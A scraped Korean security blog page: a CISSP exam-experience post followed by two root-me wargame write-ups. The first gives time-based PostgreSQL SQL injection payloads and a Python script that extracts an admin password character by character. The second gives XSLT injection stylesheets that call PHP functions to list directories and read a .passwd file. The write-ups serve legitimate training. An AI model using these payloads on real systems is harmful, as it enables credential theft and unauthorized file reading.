반응형
1. 개요

올해 1월 1일에 작성한 버킷리스트 중에 업무 관련 보안자격증을 취득하자라는 목표가 있었는데, 어떤 자격증을 공부해볼까 하다가 CISSP(Certified Information System Security Professional)으로 선택했다. CISA 자격증과 고민하다가 좀 더 기술적인 내용이 포함되어 있다길래 도전했지만, 만만한 시험은 아니었다.

 

2. 공부 기간
  • 5월 16일 ~ 7월 25일 라이지움 CISSP 정규반(OFF-Line) 수강
  • 9월 25일 시험 신청 >> 코로나19로 인해 시험 연기
  • 11월 17일 ~ 12월 16일 라이지움 CISSP 문제 풀이반(On-Line) 수강
  • 12월 18일 시험 응시

처음에는 학원 종강 후 약 두 달 정도 공부해서 9월 말에 시험을 보고 싶었으나, 공부를 게을리해서 자신도 없었고... 시험을 연기해야 하나 고민하던 찰나 피어슨 뷰 센터에서 연락 와서 코로나19로 인해 부득이하게 시험이 취소되었다며 무료로 연기를 해주었다ㅋㅋㅋ(개이득)

 

그래서 결론은 마음먹고 제대로 공부를 시작한건 11월 경이었고, 그래서 학원 두 달 반+독학 한 달 반해서 총 4달 정도

 

3. 공부 방법

사실, 매우 게으른 성격이라 예/복습을 열심히 한 편은 아니었고, 강사님들께 질문을 해본적도 없었다..(사실 마음먹고 공부하려니 수강 기한이 끝나서 혼자서 해결할 수밖에 없었음) 그렇지만 정리해보자면,

  • 라이지음 정규 교재 2~3회 (마지막에는 쓱 훑는 정도로)
  • 라이지움 정규 문제풀이 1000제 3회 풀이+오답
  • 라이지움 문제 풀이반 교재(1000제) 2회 풀이 + 오답
  • Handout 총정리 2회독

개념 정리보다는 문제 풀이를 위주로 했고, 문제 풀이 후 오답 정리를 열심히 한 편이었다.

그리고, 라이지움 문제 풀이반 교재(1000제)가 훨씬 더 많은 도움이 되었다. 실제 시험이랑도 유형이 비슷한 문제들도 많았고!! 물론, 개념이 있어야 더 문제 풀이가 수월하긴 했지만 라이지움 정규반에서 받은 1000제는 그냥... 한 번 정도만 풀어도 될 듯..

 

개인적으로는 라이지움 문제 풀이반 교재와 Handout 총정리가 가장 많은 도움이 되었음.

 

4. 시험 응시

18일 6시에 일어나서 커피 2개와 초코바 2개를 사들고 시청역 피어슨뷰 센터에 7시 20분에 도착했다.

그랬더니, 7시 30분 맞춰서 오라고 쫓겨났다ㅋㅋㅋㅋㅋ

화장실에서 10분 정도 때운 후에 다시 갔더니 이미 꽤 많은 사람들이 있었고 몇 분은 벌써 시험 진행 중 ㅡㅡ^

나는 첫 시험이었기 때문에 정맥 등록과 사진까지 모두 찍은 후에 시험장에 입실할 수 있었다.

근데 8시부터 시작인 줄 알았는데, CBT 시험이라 그런지 그냥 입실과 동시에 카운트 다운 시작!

 

  • 1~250번 한 사이클 - 약 2시간
  • 화장실에서 고양이 세수와 커피 반 잔을 마시고 다시 들어옴
  • FLAG 친 문제만 다시 한 사이클 - 약 1시간 30분
  • 또 화장실 갔다가 남은 커피 반 잔 원샷
  • 1~250번 두 번째 사이클 - 약 1시간 30분
  • 그중에서 FLAG 친 문제 다시 보기 - 약 30분

6시간 다 안 채우고 나올 줄 알았는데 나는 10분 남기고 제출했다ㄷㄷ

80만원이 아른거려서 제출 클릭할 때 온몸이 다 떨리더라ㅠㅠ 머리도 계속 아프고,, 아무리 봐도 집중 안될 것 같아서 그냥 제출해버림..ㅠ

 

5. 시험 후기 및 결과

시험 끝나고 나오니까 종이 한 장을 받아가래서 받았더니 축하합니다!! 쓰여 있어서 완전 다행..ㅜㅜ

그렇지만 예비 합격이라 포렌식 결과까지 통과되려면 업무일 기준 3~5일 걸린다고 쓰여 있었다.

(나는 월요일에 확인했는데 보니까 당일에 와 있었던,, 메일 확인을 안 하고 있었는데)

 

음, 시험 난이도는 내 예상보다는 평이했지만, 보기 두 개가 너무 헷갈려서 선택 장애가 많이 왔었다.

긴 시나리오가 나오지도 않았고, 짝짓기 문제도 없어서 그림 문제 하나를 제외하고는 다 4지선다형 객관식이었다.

 

아무튼 합격을 하고 나니까 뭔가 자신감도 회복되는 것 같고 기분이 좋긴 하다 ^____^

 

6. 여담

재작년에 합격한 정보보안기사와 겹치는 주제들이 꽤 많이 있었지만, 기사에서는 Deep 하게 물어보는 반면, CISSP에서는 좀 더 포괄적으로 질문하는 느낌이다. 공부 자체가 재밌었던 것은 보안 기사.. 뭔가 업무랑 더 연관성이 있기도 하고 지식을 더 많이 쌓는 느낌이라

 

앞으로는 시험공부 때문에 소홀했던 블로그 포스팅과 내년에는 어떤 자격증을 취득할지 찾아봐야겠다.

CISSP 공부하면서 정보보안기사와 겹쳤던 부분들을 정리해서 포스팅하는 것도 괜찮을 것 같고ㅋㅋ

 

일단 즐거운 연말 되세요~~♥

반응형

'Memo' 카테고리의 다른 글

제 10회 POC해킹캠프  (0) 2014.07.18
반응형

Time based SQL Injection 관련 문제입니다. 관리자의 패스워드 데이터를 추출해내는 것이 목표입니다.


Time based(시간 기반) SQL Injection 공격은 Blind SQL Injection 공격의 한 유형입니다. SQL 쿼리 구문 삽입이 가능하지만 얻을 수 있는 정보가 제한될 때, SQL 구문이 참일 경우와 거짓일 경우 출력되는 결과 값을 차이를 이용해 Blind SQL injection 공격을 수행하고 있으나 이 마저도 확인할 수 없을 경우 Time based SQL Injection 공격이 사용됩니다.

 

아래는 시간 기반 SQL Injection 공격 시 사용되는 구문을 DBMS 별로 간략히 정리한 표입니다.

DB 종류 구문
MySQL select BENCHMARK(1000000, md5('a');  
select SLEEP(5);
Oracle select dbms_pipe.receive_message(('a'), 10) from dual;
MSSQL WAITFOR DELAY '0:0:5';
PostgreSQL select pg_sleep(10);
DB2, Ingres 등 use heavy queries to create a time delay

 


문제에 접속하게 되면 첫 번째 페이지에 로그인 창이 있고, [Member list] 탭이 존재합니다.

 

해당 [Member list] 탭 메뉴를 클릭해보면, DB에 저장되어 있는 멤버의 ID와 로그인 아이디 리스트가 출력됩니다.

저희는 관리자의 패스워드를 찾아야 하기 때문에 "admin" 링크를 클릭합니다.

 

"admin"을 클릭하였더니 URL 주소 내 GET Method로 action과 member 파라미터가 전송되고 있으며, 로그인이 필요하다는 에러 메시지가 나타납니다. 

 

Step 1. 취약성 판단

Time based SQL Injection 공격이 가능한지에 대한 여부를 판단하기 위해 SQL 구문을 삽입합니다.

SQL 구문이 참과 거짓일 때의 결과가 같아 Blind SQL Injection 공격이 불가능해 Time based SQL Injection 공격으로 진행하였고, DBMS 종류가 PostgreSQL이기 때문에 pg_sleep 함수를 사용하였습니다. 

참인 SQL 구문을 삽입한 경우 응답 시간이 조금 지연되어 2,292 milli seconds 임을 확인할 수 있고,

▶구문 : ;select+case+when+1=1+then+pg_sleep(5)+else+pg_sleep(0)+end--

 

SQL 구문이 거짓일 경우 바로 응답이 전송되어 288 milli seconds 임을 확인할 수 있습니다.

이러한 응답 시간 차이를 이용하여 데이터베이스 내 정보를 추출해보겠습니다.

▶구문 : ;select+case+when+1=2+then+pg_sleep(5)+else+pg_sleep(0)+end--

 

Step 2. 테이블명 파악

테이블 명을 추출해내기 위해 우선 길이를 알아보았습니다.

▶구문 : ;select+case+when+(select+length(table_name)+from+information.schema.tables+limit+1)=5+then+pg_sleep(5)+else+pg_sleep(0)+end--

위의 구문의 참이니까 테이블 명은 5 글자이며,

 

substr 함수를 사용하여 문자열을 잘라 한 글자씩 파악합니다.

▶구문 : ;select+case+when+substr((select+table_name+from+information.schema.tables+limit+1),1,1)=chr(117)+then+pg_sleep(5)+else+pg_sleep(0)+end--

위의 구문을 사용하여 테이블 명 "users"를 획득하였습니다.

 

Step 3. 컬럼명 파악

테이블 명을 획득했던 방법으로 이번엔 컬럼 명을 추출해냅니다.

▶구문 : ;select+case+when+(select+length(column_name)+from+information.schema.columns+limit+1+offset+5)=8+then+pg_sleep(5)+else+pg_sleep(0)+end--

위의 구문으로 컬럼명이 8자 임을 확인하였고,

 

▶구문 : ;select+case+when+substr((select+column_name+from+information.schema.columns+limit+1+offset+5),1,1)=chr(112)+then+pg_sleep(5)+else+pg_sleep(0)+end--

substr 함수를 이용해 컬럼 명이 "password"임을 확인하였습니다.

 

Step 4. 관리자 패스워드 파악

관리자의 패스워드를 파악하기 위한 테이블명과 컬럼명을 모드 획득하였기 때문에 해당 데이터 추출만 남았습니다.

 

▶구문 : ;select+case+when+(select+password+from+users+limit+1+offset+0)=13+then+pg_sleep(5)+else+pg_sleep(0)+end--

 

위의 쿼리문으로 관리자의 패스워드 길이가 13자임을 확인하였고,

나머지 데이터 추출을 위해 간단한 파이썬 코드를 작성하였습니다.

 

import httplib, urllib, time
import re

for y in range(1,14):	
	for x in range(33,127):
		headers = {'Accept':'text/html','cookie':'PHPSESSID=------------------'}

		conn = httplib.HTTPConnection("challenge01.root-me.org")
		conn.request("GET","/web-serveur/ch40/?action=member&member=1;select+case+when+substr((select+password+from+users+limit+1+offset+0),"+str(y)+",1)=chr("+str(x)+")+then+pg_sleep(5)+else+pg_sleep(0)+end--",'',headers)
		start=time.time()
		response = conn.getresponse()
		end=time.time()
	
		if end-start > 2 :
			print "count: ", y
			print "x : ", x
			break
conn.close()

위의 코드를 실행시키면 아래와 같은 결과 값을 획득할 수 있습니다.

 

위의 x에 해당하는 숫자를 아스키 코드 문자로 매칭 하면 관리자 패스워드(Flag) 값 획득에 성공합니다.

 


※ 참고 자료 ※

- https://m.blog.naver.com/PostView.nhn?blogId=ktw1332&logNo=220622021431&proxyReferer=https:%2F%2Fwww.google.com%2F

- https://www.onsecurity.co.uk/blog/pentesting-postgresql-with-sql-injections/

- http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

- https://www.postgresqltutorial.com/postgresql-select/

- https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-injection.html

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] JWT - Revoked token  (2) 2020.12.29
[root-me] XSLT - Code execution  (0) 2020.07.02
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20
반응형

XSLT 관련 문제를 풀어보도록 하겠습니다. 취약한 부분을 찾아내서 서브 디렉토리에 존재하는 .passwd 파일을 읽는 것이 이 문제의 목적입니다. 처음 보는 용어였기 때문에 사전 조사부터 시작했습니다.


XSLT(Extensible Stylesheet Language Transformations) 취약점이란?

우선, XSL이란 XML 문서를 변환하기 위한 언어입니다. 따라서, XSLT란 XML 문서를 변환하는 자체를 의미하는데 변환 결과는 다른 XML 문서이거나 HTML 문서, CSV 파일 또는 일반 텍스트 파일과 같은 다른 형식의 파일일 수 있습니다.

 

그래서, XSLT 취약점은 XML 인젝션 취약점과 아주 유사하다고 할 수 있습니다. XSLT 원격 코드 실행 취약점의 예로는 .Net Ektron CMS에 영향을 주는 CVE-2012-5357, Apache Struts 2.0에 영향을 주는 CVE-2012-1592, Goole 검색 어플라이언스에 영향을 미치는 CVE-2005-3757 등이 있습니다.

 

자세한 사항은 우측의 링크를 이용 >> https://www.contextis.com/us/blog/xslt-server-side-injection-attacks


 

문제에 들어가면  Style을 선택하는 옵션 창과 [Change style!] 이라는 버튼이 보입니다. 임의의 스타일을 선택하고 눌러보겠습니다.

 

패킷을 확인해보면, xsl 파라미터에 "sytle1.xsl" 파일이 삽입되어 전송되고 있는 형태입니다.

 

해당 값이 전송되면 화면 상 결과는 위와 같이 출력되었습니다.

 

우선, 해당 부분이 취약한지 확인하기 위해 간단한 아래의 공격 코드를 작성해보았습니다.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
XSLT Version : <xsl:value-of select="system-property('xsl:version')"/>
XSLT Vendor : <xsl:value-of select="system-property('xsl:vendor')"/>
XSLT Vendor URL : <xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>

하지만, 위의 값을 xsl 파라미터에 바로 삽입하면 해당 코드가 실행되지 않았습니다.

"style1.xsl"과 같은 파일 형식으로 값을 넣어주어야겠다는 생각이 들어 개인 서버를 오픈한 후 해당 코드를 저장하였습니다.

 

개인 서버에 test1.xsl 파일로 위의 코드를 작성하여 저장 후,

 

xsl 파라미터에 "개인 서버 주소/test1.xls" 형식으로 삽입하였더니 XSLT 정보(라이브러리 공급업체)가 조회되어 공격 코드가 실행된 것을 확인할 수 있었습니다.

 

이제 본격적으로 문제에서 필요한 정보를 획득해보도록 하겠습니다.

현재 디렉토리에 존재하는 하위 디렉토리, 즉 서브 디렉토리를 확인하기 위해 php 함수를 이용하여 공격 코드를 작성하였습니다.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','.')"/> 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
</xsl:template></xsl:stylesheet>

 

이를 또 개인 서버의 test2.xls 파일로 저장한 후,

 

공격 코드를 실행하면, 위와 같이 현재 디렉토리에 존재하는 모든 파일과 하위 디렉토리 이름을 확인할 수 있습니다.

 

마지막으로, 서브 디렉토리에 존재하고 있는 .passwd 파일을 찾아 읽기만 하면 됩니다.

위에서 보면, ._firewall, .6ff~로 시작하는 두 개의 서브 디렉토리를 확인할 수 있는데요, .passwd 파일은 .6ff~ 디렉토리에 존재하고 있었습니다.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee/.passwd')"/>
</xsl:template>
</xsl:stylesheet>

따라서, .6ff~ 디렉토리 하위에 있는 .passwd 파일을 읽어오는 명령어를 작성한 코드를 test3.xls 파일에 저장한 후,

 

실행하면 Flag 값을 획득할 수 있습니다.^^

 


※ 참고 자료

- https://www.contextis.com/us/blog/xslt-server-side-injection-attacks

- https://comsecuodj.tistory.com/31

- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20XSLT%20Processing%20Security%20and%20Server%20Side%20Request%20Forgeries%20-%20OWASP%20Switzerland%20Meeting%202015.pdf

- https://book.hacktricks.xyz/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] JWT - Revoked token  (2) 2020.12.29
[root-me] SQL injection - Time based  (1) 2020.09.25
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20

+ Recent posts

반응형
반응형